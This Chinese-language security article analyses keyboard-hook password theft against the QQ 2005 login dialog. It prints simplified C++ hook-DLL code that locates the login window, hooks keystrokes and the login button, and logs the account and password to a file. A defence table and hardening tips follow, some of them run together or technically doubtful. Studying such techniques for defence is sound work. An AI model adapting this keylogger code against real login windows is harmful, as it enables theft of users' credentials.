聲明:本文僅從安全研究角度分析鍵盤鉤子原理,嚴禁用於非法獲取他人憑證。請遵守法律法規,尊重用戶隱私。
早期即時通訊軟體(如 QQ 2005)登入介面採用標準 Windows 對話框,密碼輸入框為普通 Edit 控件,未啟用安全輸入模式。這使得本地鉤子技術可攔截鍵盤消息。現代應用普遍採用虛擬鍵盤、輸入法保護、記憶體加密等對策,本文所述技術已失效。
// 定時器輪詢查找登入對話框
SetTimer(hDlg, ID_TIMER, 1000, NULL);
void OnTimer() {
if (!IsWindow(g_hQQLogin)) {
HWND hBtn = NULL;
do {
g_hQQLogin = FindWindowEx(NULL, g_hQQLogin, _T("#32770"), NULL); // 標準對話框類
hBtn = FindWindowEx(g_hQQLogin, NULL, _T("Button"), _T("登錄")); // 特徵按鈕
} while (g_hQQLogin && !hBtn);
if (g_hQQLogin) InstallHook(g_hQQLogin);
}
}
// HookDll.cpp
HINSTANCE g_hInst;
HHOOK g_hHookKey = NULL, g_hHookMsg = NULL;
HWND g_hTarget = NULL, g_hPwdEdit = NULL;
BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID) {
if (reason == DLL_PROCESS_ATTACH) g_hInst = hInst;
return TRUE;
}
extern "C" __declspec(dllexport) BOOL InstallHook(HWND hWnd) {
if (!hWnd) { Unhook(); return TRUE; }
g_hTarget = hWnd;
DWORD tid = GetWindowThreadProcessId(hWnd, NULL);
g_hPwdEdit = GetDlgItem(hWnd, 180); // 密碼框控件 ID(版本相關)
g_hHookKey = SetWindowsHookEx(WH_KEYBOARD, KeyProc, g_hInst, tid);
g_hHookMsg = SetWindowsHookEx(WH_CALLWNDPROC, MsgProc, g_hInst, tid);
return g_hHookKey && g_hHookMsg;
}
extern "C" __declspec(dllexport) void Unhook() {
UnhookWindowsHookEx(g_hHookKey); g_hHookKey = NULL;
UnhookWindowsHookEx(g_hHookMsg); g_hHookMsg = NULL;
}
// 鍵盤鉤子:記錄按鍵
LRESULT CALLBACK KeyProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode >= 0 && wParam == VK_RETURN) { // Enter 鍵觸發
ExtractPassword();
}
return CallNextHookEx(g_hHookKey, nCode, wParam, lParam);
}
// 訊息鉤子:捕獲「登錄」按鈕點擊
LRESULT CALLBACK MsgProc(int nCode, WPARAM, LPARAM lParam) {
if (nCode >= 0) {
CWPSTRUCT* p = (CWPSTRUCT*)lParam;
if (p->message == WM_COMMAND && p->wParam == 16032) { // 登錄按鈕 ID
ExtractPassword();
}
}
return CallNextHookEx(g_hHookMsg, nCode, wParam, lParam);
}
void ExtractPassword() {
TCHAR szNum[16], szPwd[32], szOut[64];
GetWindowText(GetDlgItem(g_hTarget, 138), szNum, 16); // 帳號框
// 從鍵盤緩衝區重構密碼(簡化版)
// 實際需處理大小寫、Backspace、輸入法組合鍵等
for (int i = 0; i < 20; ++i) szPwd[i] = (TCHAR)g_keyBuf[i].wParam;
wsprintf(szOut, _T("帳號:%s 密碼:%s"), szNum, szPwd);
WriteLog(szOut); // 寫入檔案
}
| 防護技術 | 原理 | 對鉤子的影響 |
|---|---|---|
| 安全桌面 (Secure Desktop) | UAC 提權、系統關鍵對話框運行於隔離桌面 | 普通進程無法 SetWindowsHookEx 進入 |
| UIPI (User Interface Privilege Isolation) | 低完整性進程不能向高完整性進程注入鉤子 | 阻止跨權限鉤子注入 |
| 虛擬鍵盤 / 安全輸入法 | 密碼不經鍵盤硬體中斷,直接由安全模組輸入 | 鍵盤鉤子捕獲不到有效字符 |
| 記憶體加密 / DPAPI | 密碼在記憶體中加密存儲,僅授權模組可解密 | 即使掃描記憶體也無法獲取明文 |
| 控件子類化保護 | 密碼框設置 ES_PASSWORD 樣式,系統不發送 WM_CHAR 等消息 | GetWindowText 返回掩碼字符而非明文 |
CreateWindowEx 指定 WS_EX_LAYERED 或自定義繪製。ES_PASSWORD 並調用 SendMessage(hEdit, EM_SETPASSWORDCHAR, '*', 0)。CredUIPromptForCredentials 使用系統憑證管理器。UIPI:清單文件聲明 uiAccess="true" 並簽名。鍵盤鉤子是 Windows 消息機制的合法功能,廣泛用於熱鍵、無障礙工具、輸入法等正當場景。但針對未加保護的輸入框進行憑證竊取屬於惡意軟體行為。現代 Windows 通過多層防護已有效緩解此類威脅。作為開發者,應採用安全編碼規範保護用戶數據;作為用戶,應使用正規安全軟體並警惕不明程序。